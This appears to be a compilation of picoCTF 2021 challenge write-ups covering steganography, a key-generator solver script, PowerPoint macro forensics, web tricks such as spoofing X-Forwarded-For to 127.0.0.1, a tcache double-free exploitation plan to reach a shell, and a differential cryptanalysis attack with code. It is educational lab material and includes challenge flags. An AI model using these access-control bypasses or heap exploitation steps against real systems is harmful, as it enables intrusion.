StuffIt Deluxe Segment (data): fVop`vwguvfpqamn^kl\ttdjgX_ZKZTE^WHb[Lb[L`YJ^WH`YJb[Ld]Nc\Mb[Lb[L`YJ_XIaZKc\Mf_PjcTe^Od]Nf_PaZKc]N^YJXSDYTE\WH\WHSO@TQBb_PspaecT15451851 0xEBC6CB rzip compressed data - version 90.73 (1432243550 bytes)15844847 0xF1C5EF VMware4 disk image24952928 0x17CC060 StuffIt Deluxe Segment (data): fdbcaZ[YOPNPQO]^\`a_WXV[\Zefddec^_]OPNMNLXYW`a_mnlmnl\][YZXRSQCDB?@>DEC@A?BCADECCDB:;9897BCACDBEFDFGE675'(&./-<=;;:9;98<:9A?>B@? Scan Time: 2021-03-30 13:24:58Target File: /root/CTFs/Picoctf-2021/tftp/picture3.bmpMD5 Checksum: a238337719e294911ad8213e834dc548Signatures: 391 DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PC bitmap, Windows 3.x format,, 807 x 605 x 24 ```Aaalright, now keep in mind that binwalk can get things wrong. One thing that is important to us is the `rzip compressed data`. What is the `program.deb` anyway?```file program.deb program.deb: Debian binary package (format 2.0), with control.tar.gz, data compression xz 7z x program.deb 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) Scanning the drive for archives:1 file, 138310 bytes (136 KiB) Extracting archive: program.deb-- Path = program.debType = ArPhysical Size = 138310SubType = deb----Path = data.tar.xzSize = 136868Modified = 2014-10-14 20:02:56Mode = -rw-r--r----Path = data.tar.xzType = xzPhysical Size = 136868Method = LZMA2:23 CRC32Streams = 1Blocks = 1 Everything is Ok Size: 460800Compressed: 138310```Lovely! And what is inside `data.tar`?```tar xvf data.tar ././usr/./usr/share/./usr/share/doc/./usr/share/doc/steghide/./usr/share/doc/steghide/ABOUT-NLS.gz./usr/share/doc/steghide/LEAME.gz./usr/share/doc/steghide/README.gz./usr/share/doc/steghide/changelog.Debian.gz./usr/share/doc/steghide/changelog.Debian.amd64.gz./usr/share/doc/steghide/changelog.gz./usr/share/doc/steghide/copyright./usr/share/doc/steghide/TODO./usr/share/doc/steghide/HISTORY./usr/share/doc/steghide/CREDITS./usr/share/doc/steghide/BUGS./usr/share/man/./usr/share/man/man1/./usr/share/man/man1/steghide.1.gz./usr/share/locale/./usr/share/locale/ro/./usr/share/locale/ro/LC_MESSAGES/./usr/share/locale/ro/LC_MESSAGES/steghide.mo./usr/share/locale/fr/./usr/share/locale/fr/LC_MESSAGES/./usr/share/locale/fr/LC_MESSAGES/steghide.mo./usr/share/locale/de/./usr/share/locale/de/LC_MESSAGES/./usr/share/locale/de/LC_MESSAGES/steghide.mo./usr/share/locale/es/./usr/share/locale/es/LC_MESSAGES/./usr/share/locale/es/LC_MESSAGES/steghide.mo./usr/bin/./usr/bin/steghide```Steghide! Now we know what to use on the `.bmp` file! ## Steghide Time to get the flag:```steghide extract -sf picture2.bmp Enter passphrase: steghide: could not extract any data with that passphrase!```Damn... I tried with no password, but no luck. Maybe some of the previous files could help?```VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF I USED THE PROGRAM AND HID IT WITH - DUEDILIGENCE. CHECK OUT THE PHOTOS```Remember this? `DUEDILIGENCE` looks a bit out of place doesn't it? Also `HID IT WITH`, could this be the password? Also no luck... wait, is this the right file?```steghide extract -sf picture3.bmp Enter passphrase: DUEDILIGENCEwrote extracted data to "flag.txt".```Wohoo! ```picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919}```
# keygenme-py AUTHOR: SYREAL **Disclaimer! I do not own any of the challenge files** ## Looking at the keygenme-trial.py Instead of running the script right away, it is best practice to read the source code, right?```py# GLOBALS --varcane_loop_trial = Truejump_into_full = Falsefull_version_code = "" username_trial = "FREEMAN"bUsername_trial = b"FREEMAN" key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"key_part_dynamic1_trial = "xxxxxxxx"key_part_static2_trial = "}"key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial```These are all the global variables. What is really important to us though? ```pyusername_trial = "FREEMAN"bUsername_trial = b"FREEMAN"```This will be obvious later, next ofcourse the flag! Or here it is called the `key`. It is comprised of two static parts, and a dynamic part:```pykey_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial```Great... maybe we can have a look at how the dynamic part is generated? ### Dynamic key To check the validity of the dynamic key, the following function is used (I split it):```pydef check_key(key, username_trial): global key_full_template_trial if len(key) != len(key_full_template_trial): return False else: # Check static base key part --v i = 0 for c in key_part_static1_trial: if key[i] != c: return False i += 1```First, check if the key is even long enough! After that check if we have the 1st static part correct (we can copy and paste, right?). Now the iterator `i` is at our dynamic part, and here is the `if tree` that checks our dynamic key:```pyif key[i] != hashlib.sha256(username_trial).hexdigest()[4]: return Falseelse: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[5]: return Falseelse: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[3]: return Falseelse: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[6]: return Falseelse: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[2]: return Falseelse: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[7]: return Falseelse: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[1]: return Falseelse: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[8]: return False```So notice the following, we have a bunch of indexes: `4,5,3,6,2,7,1,8`. How do we use these? Well first a `sha256` hash of the username is `FREEMAN` calculated and then we pick the corresponding character. This is pretty easy to script. ## solve.py ```pyimport hashlibimport base64 key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"key_part_dynamic1_trial = "xxxxxxxx"key_part_static2_trial = "}"key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial username_trial = b"FREEMAN" potential_dynamic_key = "" # where our input begins:offset = 23 # positions in username_trialpositions = [4,5,3,6,2,7,1,8] for p in positions: potential_dynamic_key += hashlib.sha256(username_trial).hexdigest()[p] key = key_part_static1_trial + potential_dynamic_key + key_part_static2_trialprint(key)print(len(key))```We have a hardocded offset, out positions and then we just calculate the hashes one by one, and add to the key. After running the script, here is the result:```picoCTF{1n_7h3_|<3y_of_0d208392}32 ```Great!
# Some assembly required - 1 Category: Web Exploitation AUTHOR: SEARS SCHULZ ## Solution This was a pretty easy challenge. I simply set BurpSuite to intercept all server responses, eventually got the following response:```GET /JIFxzHyW8W HTTP/1.1Host: mercury.picoctf.net:15472User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://mercury.picoctf.net:15472/index.htmlConnection: closeIf-Modified-Since: Tue, 16 Mar 2021 00:38:49 GMTCache-Control: max-age=0```That is a weird one, huh? Visiting the link the file `JIFxzHyW8W` is downloaded. What next? Well I just tried `cat JIFxzHyW8W`:```picoCTF{c733fda95299a16681f37b3ff09f901c}```And the very bottom was the flag. great!
# MacroHard WeakEdge Category: Forensics AUTHOR: MADSTACKS **Diclaimer! None of the challenge files are mine!** ## Description```I've hidden a flag in this file. Can you find it? Forensics is fun.pptm``` ## PowerPoint Now, here's the thing. If you've done `Weird File` (writeup [here](https://github.com/xnomas/PicoCTF-2021-Writeups/tree/main/Weird_File)) you already know that a PowerPoint file can be unzipped and it's contents looked through! Also, we have a big hint in the name of this challenge `Macro`. And to prove this, just run `binwalk`:```root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved# binwalk Forensics\ is\ fun.pptm DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 674, uncompressed size: 10660, name: [Content_Types].xml1243 0x4DB Zip archive data, at least v2.0 to extract, compressed size: 259, uncompressed size: 738, name: _rels/.rels2063 0x80F Zip archive data, at least v2.0 to extract, compressed size: 951, uncompressed size: 5197, name: ppt/presentation.xml3064 0xBF8 Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 311, name: ppt/slides/_rels/slide46.xml.rels3316 0xCF4 Zip archive data, at least v2.0 to extract, compressed size: 688, uncompressed size: 1740, name: ppt/slides/slide1.xml4055 0xFD7 Zip archive data, at least v2.0 to extract, compressed size: 657, uncompressed size: 1681, name: ppt/slides/slide2.xml4763 0x129B Zip archive data, at least v2.0 to extract, compressed size: 659, uncompressed size: 1681, name: ppt/slides/slide3.xml5473 0x1561 Zip archive data, at least v2.0 to extract, compressed size: 657, uncompressed size: 1682, name: ppt/slides/slide4.xml6181 0x1825 Zip archive data, at least v2.0 to extract, compressed size: 658, uncompressed size: 1682, name: ppt/slides/slide5.xml......43914 0xAB8A Zip archive data, at least v2.0 to extract, compressed size: 657, uncompressed size: 1681, name: ppt/slides/slide58.xml44623 0xAE4F Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 311, name: ppt/slides/_rels/slide47.xml.rels...47899 0xBB1B Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 311, name: ppt/slides/_rels/slide13.xml.rels48151 0xBC17 Zip archive data, at least v2.0 to extract, compressed size: 646, uncompressed size: 8783, name: ppt/_rels/presentation.xml.rels49122 0xBFE2 Zip archive data, at least v2.0 to extract, compressed size: 192, uncompressed size: 311, name: ppt/slides/_rels/slide1.xml.rels...59700 0xE934 Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 311, name: ppt/slides/_rels/slide45.xml.rels59952 0xEA30 Zip archive data, at least v2.0 to extract, compressed size: 2063, uncompressed size: 13875, name: ppt/slideMasters/slideMaster1.xml62078 0xF27E Zip archive data, at least v2.0 to extract, compressed size: 1281, uncompressed size: 4678, name: ppt/slideLayouts/slideLayout1.xml...75061 0x12535 Zip archive data, at least v2.0 to extract, compressed size: 1187, uncompressed size: 4200, name: ppt/slideLayouts/slideLayout11.xml76312 0x12A18 Zip archive data, at least v2.0 to extract, compressed size: 277, uncompressed size: 1991, name: ppt/slideMasters/_rels/slideMaster1.xml.rels76663 0x12B77 Zip archive data, at least v2.0 to extract, compressed size: 188, uncompressed size: 311, name: ppt/slideLayouts/_rels/slideLayout1.xml.rels...79284 0x135B4 Zip archive data, at least v2.0 to extract, compressed size: 188, uncompressed size: 311, name: ppt/slideLayouts/_rels/slideLayout11.xml.rels79547 0x136BB Zip archive data, at least v2.0 to extract, compressed size: 1732, uncompressed size: 8399, name: ppt/theme/theme1.xml81329 0x13DB1 Zip archive data, at least v1.0 to extract, compressed size: 2278, uncompressed size: 2278, name: docProps/thumbnail.jpeg83660 0x146CC Zip archive data, at least v2.0 to extract, compressed size: 2222, uncompressed size: 7168, name: ppt/vbaProject.bin85930 0x14FAA Zip archive data, at least v2.0 to extract, compressed size: 397, uncompressed size: 818, name: ppt/presProps.xml86374 0x15166 Zip archive data, at least v2.0 to extract, compressed size: 387, uncompressed size: 811, name: ppt/viewProps.xml86808 0x15318 Zip archive data, at least v2.0 to extract, compressed size: 172, uncompressed size: 182, name: ppt/tableStyles.xml87029 0x153F5 Zip archive data, at least v2.0 to extract, compressed size: 342, uncompressed size: 666, name: docProps/core.xml87682 0x15682 Zip archive data, at least v2.0 to extract, compressed size: 556, uncompressed size: 3784, name: docProps/app.xml88548 0x159E4 Zip archive data, at least v2.0 to extract, compressed size: 81, uncompressed size: 99, name: ppt/slideMasters/hidden100071 0x186E7 End of Zip archive, footer length: 22 ```The output is really big, so I shortened it. Hmm... notice anything peculiar? ### Extracting and snooping```bashroot@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# ls'Forensics is fun.pptm'root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# 7z x Forensics\ is\ fun.pptm 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) Scanning the drive for archives:1 file, 100093 bytes (98 KiB) Extracting archive: Forensics is fun.pptm--Path = Forensics is fun.pptmType = zipPhysical Size = 100093 Everything is Ok Files: 153Size: 237329Compressed: 100093```Awesome! Now we can just look through it.```bashroot@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# ls -la *-rw-r--r-- 1 root root 10660 Dec 31 1979 '[Content_Types].xml'-rw-r--r-- 1 root root 100093 Mar 30 12:59 'Forensics is fun.pptm' docProps:total 20drwx------ 2 root root 4096 Mar 30 12:59 .drwxr-xr-x 5 root root 4096 Mar 30 12:59 ..-rw-r--r-- 1 root root 3784 Dec 31 1979 app.xml-rw-r--r-- 1 root root 666 Dec 31 1979 core.xml-rw-r--r-- 1 root root 2278 Dec 31 1979 thumbnail.jpeg ppt:total 56drwx------ 7 root root 4096 Mar 30 12:59 .drwxr-xr-x 5 root root 4096 Mar 30 12:59 ..-rw-r--r-- 1 root root 5197 Dec 31 1979 presentation.xml-rw-r--r-- 1 root root 818 Dec 31 1979 presProps.xmldrwx------ 2 root root 4096 Mar 30 12:59 _relsdrwx------ 3 root root 4096 Mar 30 12:59 slideLayoutsdrwx------ 3 root root 4096 Mar 30 12:59 slideMastersdrwx------ 3 root root 4096 Mar 30 12:59 slides-rw-r--r-- 1 root root 182 Dec 31 1979 tableStyles.xmldrwx------ 2 root root 4096 Mar 30 12:59 theme-rw-r--r-- 1 root root 7168 Dec 31 1979 vbaProject.bin-rw-r--r-- 1 root root 811 Dec 31 1979 viewProps.xml _rels:total 12drwx------ 2 root root 4096 Mar 30 12:59 .drwxr-xr-x 5 root root 4096 Mar 30 12:59 ..-rw-r--r-- 1 root root 738 Dec 31 1979 .rels ```Just confirming the file structure that `binwalk` provided. Now! What did you see in tha big output? I saw this: `ppt/vbaProject.bin`, `ppt/slideMasters/hidden`. Time to check these out! ## Macro (Hard) ```bashroot@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# strings ppt/vbaProject.bin VBAProjestdole>*\G{00020430-6}#2.0#0#C:\Windows\Syst em32\tlb#OLE AutomatiEOffDic2DF8D04C-5BFA-101B-BDE5gram Files\CommoMicrosoft Shared\OFFICE16\MSO.0DLL#M [email protected] ObLibraryule1Gsorry_but_this_isn't_it...```Oh? It's not? Well no worries, we still have the second file to look through. ## Weak (Edge) ```bashroot@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# cat ppt/slideMasters/hidden Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q```Riiiight.. well looking at it, this string looks like base64. ## Flag I just replaced the spaces with nothing in SublimeText. `ZmxhZzogcGljb0NURntEMWRfdV9rbjB3X3BwdHNfcl96MXA1fQ` looks even more like base64, doesn't it? ```bashecho ZmxhZzogcGljb0NURntEMWRfdV9rbjB3X3BwdHNfcl96MXA1fQ | base64 -dflag: picoCTF{D1d_u_kn0w_ppts_r_z1p5}base64: invalid input```Awesome!
## CACHE_7 - This is a heap challenge where we are given a filename and the libc file.- Since the libc version is 2.27 that means we are dealing with the tcache that was introduced in libc version 2.26. *static Analysis* - Using the commands `file chall && checksec chall && rabin2 -i chall rabin2 -z chall`. Therefore we can definately see the type of file and the different file protections there is.- The file has all protections enabled and it is a 64-elf binary that is `not stripped` and `dynamically linked`. *Dyamic Analysis* - There are various functions in the binary and they are `add, view, delete and quit`. The function of focus here are the `delete`, `view` and `add` functions. - These functions do the following 1. Add: - This is a function that is used to malloc a chunk based on the input that we give. That is the size and the data. - The chunk refrence is stored in the bss section. - When another chunk is allocated the refrence chunk is replaced with the address of the new chunk. 3. Delete: - This is used to free the chunk and therefore the chunk is placed in a tcache bin based on the given libc version. - The chunk refrence at the bss section at ptr is not replaced with a null value 5. View - This is used to print the value at ptr in the bss section. # Exploitation - For a heap exploitation challenge I do look for the following common bugs that will therefore lead to some more complicated bugs 1. Heap Overflow 2. Use After Free 3. Double Free - Since the pointer that was `freed` is not replaced by null therefore this leads to a `UAF` bug.- The `UAF` bug leads to `Double Free` bug and this is where we can free out chunk more than 2 times.- Therefore we can use these bugs to leak libc address and gain shell =) *Leak Address* - Using the `Double Free Bug` we can tcache dup into bss at `ptr`.- When a chunk is deleted 2 times therefore the tcache will be a follows [chunk1---->chunk1]- Therefore this means that we can control the fd pointer to point to the address of `ptr` in memory.- When we then allocate a chunk we will therefore end up with `ptr` as a chunk and write into it the value of `elf.got.setbuf`- We will then leak the address at libc by calling `view` that will print the value at `ptr` which is out got address. *pop shell* - tcache dup into `__free_hook` and that address with the address of system or the address of `one_gadget` and gain a shell.- Therefore the final [exploit](exploit.py)
# HomewardBound According to the page we can only access the webpage through the local network. So i tried to add the `X-Forwarded-For` header to my `GET` request with the ip address `127.0.0.1`. Looks like it worked because the page gave me the flag: ```flag{26080a2216e95746ec3e932002b9baa4}```
[Original writeup and code](https://github.com/gov-ind/ctf-writeups/blob/main/2021/picoctf/clouds/clouds.md) ## TLDRImplement [this paper](https://link.springer.com/content/pdf/10.1007%2F3-540-45473-X_16.pdf). The rest of this write-up is basically a dumbed-down explanation of whatever I could understand in that paper.   ## AnalysisThis challenge presents a note-taking program that allows us to encrypt upto 1024 notes and view them. We're also given an encrypted flag; Our task is to decrypt it. Here are the relevant encryption functions: ```def pad(p): if len(p) % BLOCK_LEN != 0: return p + "\0" * (BLOCK_LEN - (len(p) % BLOCK_LEN)) else: return p def g(i): b = bin(i).lstrip("0b").rstrip("L").rjust(BLOCK_LEN * 8, "0") return int(b[::-1], 2) def encrypt_block(b): k = open("./key").read().rstrip() assert (len(b) * ROUNDS) == len(k) result = int(binascii.hexlify(b), 16) for i in range(ROUNDS): key = int(binascii.hexlify(k[i * BLOCK_LEN:(i + 1) * BLOCK_LEN]), 16) key_odd = key | 1 result ^= key result = g(result) result = (result * key_odd) % (1 << 64) return hex(result).lstrip("0x").rstrip("L").rjust(HEX_BLOCK_LEN, "0") def encrypt(msg): plain = pad(msg) result = "" for i in range(0, len(plain), BLOCK_LEN): result += encrypt_block(plain[i:i + BLOCK_LEN]) return result```   The cipher divides the plaintext into chunks of 8 bytes each, the 40-byte key into 5 subkeys, and applies five rounds of encryption to each block using each of the 5 subkeys. A round works as follows:1. XOR the input with the subkey2. Reverse the bits of the result (the _g_ function)3. Multiply the result with an odd-version of the subkey (by forcing the LSB of the subkey to be 1) Here's a diagram of the whole process: ![round function](https://github.com/gov-ind/ctf-writeups/raw/main/2021/picoctf/clouds/round_function.png)   ## Some BackgroundIf you're not familiar with differential cryptanalysis, have a look at Jon King's excellent beginner-friendly [explanation](http://theamazingking.com/crypto-feal.php) of FEAL-4, the whipping boy of block ciphers. His implementation is in C, so if you're a noob like me, check out [this writeup](https://samvartaka.github.io/cryptanalysis/2016/04/08/volgactf-fiveblocks-writeup) by Jos Wetzels of an attack on a variation of FEAL-4 in Python.   ## The ChallengeSo what makes this cipher different? Well, differential cryptanalysis relies on certain differentials propagating through operations of a round function. If these operations consist only of XORs, an attacker can supply pairs of inputs with a known fixed differential, look for statistical patterns in the output differential, and use these patterns to recover the key. However, in this cipher, there are two tricky operations - the bit reversal and the multiplication. The two of them work in tandem to scramble the bits (seemingly) well enough to block differentials from propagating, so to actually do any differential cryptanalysis, we need to come up with that one pair whose differential passes through both these operations.   ## A BreakthroughAfter a bit of googling for the term "differential cryptanalysis multiplication", I stumbled upon [this paper](https://nikita.ca/papers/md.pdf), where the authors propose a framework to create differentials that survive multiplication. One of the examples in that paper is a summary of an attack on an old cipher called Nimbus (clouds?), initially devised by Vladimir Furman. A quick look at Nimbus's Wiki and Furman's [paper](https://link.springer.com/content/pdf/10.1007%2F3-540-45473-X_16.pdf) confirms that this cipher is indeed Nimbus!   ## Furman's PaperAfter spending two days reading the paper, I realized that I was not smart enough to undertand all its algorithms (especially _Appendix A_), so I came up with a variation that's slightly less efficient (up to 18 bits of complexity vs Furman's 10), but easier to implement, so please bear with me. That said, here's a quick summary of some key concepts from the paper:   ## Lemma 1For _n_-bit integers _A_ and _B_, each of whose LSBs is 0:   $A \oplus B = 01...10 \Leftrightarrow A + B = 01...10$   The number in binary (zero followed by _n - 2_ ones and one zero, or $2^{n - 1} - 2$ in decimal) - let's call it $\Delta$ henceforth - is going to be the differential in this attack (There's also another differential mentioned in the paper, but we can do without it). Why this number in particular? Furman's first observation is that its binary representation is palindromic, which means reversing its bits has no effect on it (nullifying the _g_ function). So what this equation basically tells us is that, if the XOR of two _n-bit_ numbers $A$ and $B$ is $\Delta$, then their sum is also $\Delta$, and vice-versa.   ## Claim 1Furman's second crucial observation about $\Delta$ is that for n-bit integers $A$, $B$, and $K^{odd}$, the following equation holds with a probability of approximately 50%: $A \oplus B = 01...10 \Leftrightarrow (A \cdot K^{odd}) \oplus (B \cdot K^{odd}) = 01...10$   ## A One Round Iterative CharacteristicIn the context of this cipher, the previous observation essentially means that the round function has "a one-round iterative characteristic", ie., we expect 50% of differentials to survive each round (with the other 50% discarded). In other words, if we were to pass 64 pairs of plaintexts, each with a differential of $\Delta$, to the cipher, the number of ciphertexts with a differential of $\Delta$ after one round will on average be 32. This number decays to 16 after the second round, 8 after the third round, 4 after the fourth round, and 2 after the fifth round. Thus we expect that on average 2 ciphertexts will have a differential of $\Delta$ (and 60 without) after all five rounds of the cipher (The paper actually gives different numbers, but these were my observations with the plaintexts that I generated).   ## Recovering The Last SubkeyIt follows from the one-round iterative characteristic that of the 4 pairs that had a difference of $\Delta$ after the fourth round, only two survived the fifth round. If we can find out which these two pairs were, we can then apply _Lemma 1_ and _Claim 1_ to recover the subkey of the fifth round. As it turns out, you can simply look at the bits and figure this out (have a look at _Condition 1_ in the paper): ```def condition1(a, b): # 10 must be the LSBs of the XOR difference, # and 0 must be the LSB of each plaintext return (a ^ b) % 4 == 2 and a % 2 == 0 and b % 2 == 0```   Now, consider a pair of ciphertexts $C1$ and $C2$ with a difference of $\Delta$ after 5 rounds. Then, if $K^{odd}$ is the subkey of round 5, and $A$ and $B$ are the values that go into the final operation of round 5:   $C1 = A \cdot K^{odd}$ \$C2 = B \cdot K^{odd}$   Summing these two equations, we get:   $C1 + C2 = (A + B) \cdot K^{odd}$   However, by the one-round iterative characteristic, we know that there are at least two such pairs of $A$ and $B$ that have a difference of $\Delta$ after the fourth round, and both these pairs will be in the list of pairs we created using ```condition1```. This means that, by _Lemma 1_, $A + B = A \oplus B = \Delta$, and we can rewrite the previous equation as:   $C1 + C2 = \Delta \cdot K^{odd}$   We know $C1$, $C2$, and $\Delta$, and can solve for $K^{odd}$. Unless we're unlucky and had less than two ciphertexts with a difference of $\Delta$ after five rounds, there should be at least 2 pairs of $C1$ and $C2$ in our list of candidate pairs that will return the same $K^{odd}$ value, and we expect this to be the subkey of the fourth round: ```def find_subkeys(ciphertexts): subkeys = [] for pair in ciphertexts: if condition1(pair[0], pair[1]): s = pair[0] + pair[1] if s % 2 == 0: subkeys.append((inv * s % word_size) // 2 % word_size) most_common_subkey = max(set(subkeys), key=subkeys.count) # Return 4 subkeys, one flipped MSBs and LSBs return (most_common_subkey, most_common_subkey ^ 2 ** 63, most_common_subkey ^ 1, most_common_subkey ^ 2 ** 63 ^ 1)```   Note that we do not know the MSB or LSB of the key, so we return 4 possible combinations with flipped MSBs and LSBs. For each of these 4 possible key combinations, we can then reverse the round function to get a list of candidate inputs to the fifth round function: ```def partially_decrypt(ciphertext, subkey): plaintext = ciphertext * inverse(subkey, word_size) % word_size plaintext = g(plaintext) return plaintext ^ subkey```   Here are some [arrows](https://en.wikipedia.org/wiki/Combinatorial_explosion) summarizing what we've done so far: ![combinations](https://github.com/gov-ind/ctf-writeups/raw/main/2021/picoctf/clouds/combinations.svg) Starting from the left, the red and green arrows denote all the ciphertext pairs that satisfy _Condition 1_ (Here there are 5 pairs, but in practice, the number is usually a lot more). By the one-round iterative characteristic, we know that there are two pairs on average amongst these 5 that do have a differential $\Delta$, and so these two pairs (the green arrows) return the same value for $K^{odd}$. We don't care about the other pairs (the red arrows), so we discard them. For one of the matching pairs, we get four possible subkeys (because we don't know the MSBs and LSBs), of which only one is correct (the blue arrow). But there's no way of knowing which is the correct one right, so we've reached a dead end.   ## Recovering The Remaining Subkeys (Workaround)At this point, Furman directs us to _Appendix A_ to efficiently recover the previous subkeys. I'm still trying to understand _Appendix A_, but in the meantime, let's use a method that is a lot less efficient and a lot more harebrained. First, observe that not every candidate input pair to the fifth round (that we found out in the previous step) will have a sufficient number of pairs with difference of $\Delta$. By the one-round iterative characteristic of this cipher, we can rule out a large number of these pairs that don't have sufficient $\Delta$ differentials. To be more concrete, assuming that we had 2 pairs with a difference of $\Delta$ after five rounds, we expect that each of the candidate pairs (which is basically the input to the fifth round) will have around 4 pairs on average with a difference of $\Delta$. Thus, we can safely discard all sets that have, say, only 2 pairs with a difference of $\Delta$. Similarly, we'd expect this number to be (around) 8 after the third round, 16 after the second round, and 32 after the first round. here's the function to filter out the list of pairs: ```def _filter(arr, minimum): return [a for a in arr if len([b for b in a if b[0] ^ b[1] == diff]) > minimum + 1]```   Now that we've trimmed the partially decrypted values down to a manageable size, we can just call ```find_subkeys``` again, except this time we pass it the partially decrypted values instead of the ciphertexts. For each of these pairs, we get four subkeys, and for each of these subkeys we ```partially decrypt``` to create the next set of partially decrypted values (that will be the input to the previous round), and ```_filter``` them again. After we repeat this process four times (for each of the remaining rounds), we'll have a set of candidate subkey values. One combination out of these candidates is the actual key. ```def crack_round(partially_decrypted): subkey1, subkey2, subkey3, subkey4 = find_subkeys(partially_decrypted) next_partially_decrypted1 = [(partially_decrypt(a[0], subkey1), partially_decrypt(a[1], subkey1)) for a in partially_decrypted] next_partially_decrypted2 = [(partially_decrypt(a[0], subkey2), partially_decrypt(a[1], subkey2)) for a in partially_decrypted] next_partially_decrypted3 = [(a ^ 1, b ^ 1) for a, b in next_partially_decrypted1] next_partially_decrypted4 = [(a ^ 1, b ^ 1) for a, b in next_partially_decrypted2] return ([next_partially_decrypted1, next_partially_decrypted2, next_partially_decrypted3, next_partially_decrypted4], [subkey1, subkey2, subkey3, subkey4])```   To actually carry out the attack, we'll need to first create 64 pairs of plaintexts that differ by $\Delta$ by combining two of what Furman calls del-structures, ensuring that these two structures differ only in their MSBs (Have a look at the paper for further information on creating these del-structures). We ask to encrypt these del-structures, and then carry out the process described above. Now, at this point, you might think that my algorithm doesn't run in polynomial time, and you're right. In the context of the picture with arrows, all I'm doing is drawing green and red arrows out of each blue and blue arrow recursively four times. But because we ```_filter``` out values after each round, the number of combinations is fairly manageable, and so the algorithm isn't quite exponential. Because of the probabilistic nature of the attack, depending on the plaintexts we generate, we might end up with either zero combinations or way too many combinations. In my implementation I just ensure that the number of possible combinations is less than 18 bits (because my CPU makes strange noises when I try to brute-force anything above that); If it isn't, I must have generated "bad" plaintexts, so I repeat the process again, this time hoping for "good" ones. If you do the math, you'll find that there's a 50% chance that the algorithm works on its first try (and a 0.2% chance that it doesn't work at all, due to the limit of 1024 encryptions per session). In other words, if you're slightly lucky, you'll recover the key on the first attempt, and if you're _extremely_ unlucky, the worst that could happen is that you'll have to run the script again.  
# Scavenger hunt Category: Web Exploitation AUTHOR: MADSTACKS ## Description```There is some interesting information hidden around this site``` ## Website Checking out the link I saw this: ![website](./website.png) Interesting. Usually on web ctf challenges I use my scraping tool [webctf](https://github.com/xnomas/web-ctf-help):```webctf http://mercury.picoctf.net:27393/ =============COMMENTS============= [+] 1 : Here's the first part of the flag: picoCTF{t =============SCRIPTS============= [+] 1 : myjs.js =============IMAGES============= sources:-------- alts:----- ===================INTERESTING HEADERS=================== ```Really cool! First part of the flag, so we'll have to `scavenge` around for the next parts. We saw the `How` tab, how about `What`? ![what](./what.png) Right, we checked out the `html` source. How about `javascript` and `css`? In the `webctf` output, we can see a `.js` file. Time to check it out! ### myjs.js```jsfunction openTab(tabName,elmnt,color) { var i, tabcontent, tablinks; tabcontent = document.getElementsByClassName("tabcontent"); for (i = 0; i < tabcontent.length; i++) { tabcontent[i].style.display = "none"; } tablinks = document.getElementsByClassName("tablink"); for (i = 0; i < tablinks.length; i++) { tablinks[i].style.backgroundColor = ""; } document.getElementById(tabName).style.display = "block"; if(elmnt.style != null) { elmnt.style.backgroundColor = color; }} window.onload = function() { openTab('tabintro', this, '#222');} /* How can I keep Google from indexing my website? */```That comment! We have to think about how Google can keep track of all these websites? It uses the Google web crawling/spider engine. But since devs don't want these spiders to reach and `index` every part of the website, we use a special file called `robots.txt`! This file tells the crawlers what parts of the site are disallowed, and what User Agents are allower to visit (among other things). Crawlers that listen to these files are called `polite`, when a crawler is not `polite` it could fall into something called a `spider trap`. More on that [here](https://www.techopedia.com/definition/5197/spider-trap).After my little tangent, here are the contents of `robots.txt`:```User-agent: *Disallow: /index.html# Part 3: t_0f_pl4c# I think this is an apache server... can you Access the next flag?```Oh damn! Part 3. Where is part 2? ### mycss.css The second hint from the `what` tab was the use of css. We can check out the file! ```cssdiv.container { width: 100%;} header { background-color: black; padding: 1em; color: white; clear: left; text-align: center;} body { font-family: Roboto;} h1 { color: white;} p { font-family: "Open Sans";} .tablink { background-color: #555; color: white; float: left; border: none; outline: none; cursor: pointer; padding: 14px 16px; font-size: 17px; width: 50%;} .tablink:hover { background-color: #777;} .tabcontent { color: #111; display: none; padding: 50px; text-align: center;} #tabintro { background-color: #ccc; }#tababout { background-color: #ccc; } /* CSS makes the page look nice, and yes, it also has part of the flag. 